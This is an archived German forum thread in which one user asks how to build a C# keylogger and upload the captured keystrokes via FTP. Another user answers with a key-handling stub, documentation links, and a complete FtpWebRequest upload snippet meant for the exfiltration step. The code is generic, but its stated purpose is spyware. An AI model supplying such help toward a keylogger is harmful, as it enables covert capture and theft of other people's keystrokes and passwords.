PDA

Archiv verlassen und diese Seite im Standarddesign anzeigen : [S] C# Keylogger mit FTP



EpicByte
09.03.2010, 11:56
Moin,
ich suche ein Tutorial in C#, wo beschrieben wird, welche dll's ich alle importieren muss und eine genaue erklärung zur Funktion die Tastenschläge überprüft. Am wichtigsten wäre mir aber bei dem Tutorial, wie ich eine FTP verbindung herstelle und die geloggten Daten hochladen.

aL1ien
09.03.2010, 12:03
switch (e.KeyCode (http://msdn.microsoft.com/library/default.asp?url=/library/en-us/cpref/html/frlrfsystemwindowsformskeyeventargsclasskeycodetop ic.asp))
{
case Keys (http://msdn.microsoft.com/library/default.asp?url=/library/en-us/cpref/html/frlrfsystemwindowsformskeysclasstopic.asp).Enter:
// ...
break;
http://msdn.microsoft.com/en-us/library/system.net.ftpwebrequest.aspx

Wie man den Leuten immer alles auf dem Silbertablett geben muss..

EpicByte
09.03.2010, 12:07
Thx, ich wollte halt nicht die Syntax, sondern einfach nochmal an einem Praxis Beispiel die Sachen vertiefen. Im Prinzip kann ich die Keys auch schon überprüfen, nur ich möchte auch andere Methoden mir angucken und die sicherste Methode herrausfinden. Außerdem:


Am wichtigsten wäre mir aber bei dem Tutorial, wie ich eine FTP verbindung herstelle und die geloggten Daten hochladen.

PS: Ich komm noch nicht so ganz mit C# klar deshalb will ich Silbertablett Antworten :D

aL1ien
09.03.2010, 12:12
http://msdn.microsoft.com/en-us/library/system.net.ftpwebrequest.aspx

Wie ich es liebe mich selbst zu zitieren.

EpicByte
09.03.2010, 12:30
Ah sry, dachte wäre nochmal ein Link zur Syntax um Tastendrücke zu überprüfen :D
Suche trotzdem noch Beispiele!!

aL1ien
10.03.2010, 14:30
FtpWebRequest request = (FtpWebRequest)FtpWebRequest.Create(FTPAddress + "/" +
Path.GetFileName(filePath));

request.Method = WebRequestMethods.Ftp.UploadFile;
request.Credentials = new NetworkCredential(username, password);
request.UsePassive = true;
request.UseBinary = true;
request.KeepAlive = false;

FileStream stream = File.OpenRead(filePath);
byte[] buffer = new byte[stream.Length];

stream.Read(buffer, 0, buffer.Length);
stream.Close();

Stream reqStream = request.GetRequestStream();
reqStream.Write(buffer, 0, buffer.Length);
reqStream.Close();

http://www.vcskicks.com/csharp_ftp_upload.php